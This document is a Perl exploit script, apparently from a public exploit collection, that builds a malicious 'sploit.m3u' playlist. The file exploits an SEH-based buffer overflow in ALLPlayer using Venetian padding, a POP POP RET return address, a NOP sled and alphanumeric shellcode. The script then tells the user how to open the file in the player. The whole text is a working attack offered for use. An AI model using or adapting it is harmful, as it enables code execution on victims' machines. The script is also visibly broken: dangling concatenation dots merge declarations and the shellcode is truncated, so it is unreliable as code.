use strict;

use warnings;

  

my $filename = "sploit.m3u";

  

my $junk1 = "\x41" x 301;   # Offset to SEH

my $nSEH  = "\x61\x50";     # POPAD # Venetian padding

my $SEH   = "\x50\x45";     # POP POP RET from ALLPlayer.exe

my $junk2 = "\x42" x 700;

   

my $align = "\x53".         # PUSH EBX

  

my $nops = "\x71" x 109;

  

my $shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAh".

   

my $sploit = $junk1.$nSEH.$SEH.$align.$nops.$shellcode.$junk2;

  

open(FILE, ">$filename") || die "[-]Error:\n$!\n";

print FILE "http://$sploit";

  

print "\nExploit file created successfully [$filename]!\n\n";

print "You can either:\n";

print "\t1. Open the created $filename file directly with ALLPlayer\n";

print "\t2. Open the crafted URL via menu by Open movie/sound -> Open URL\n\n";

print "http://$sploit\n";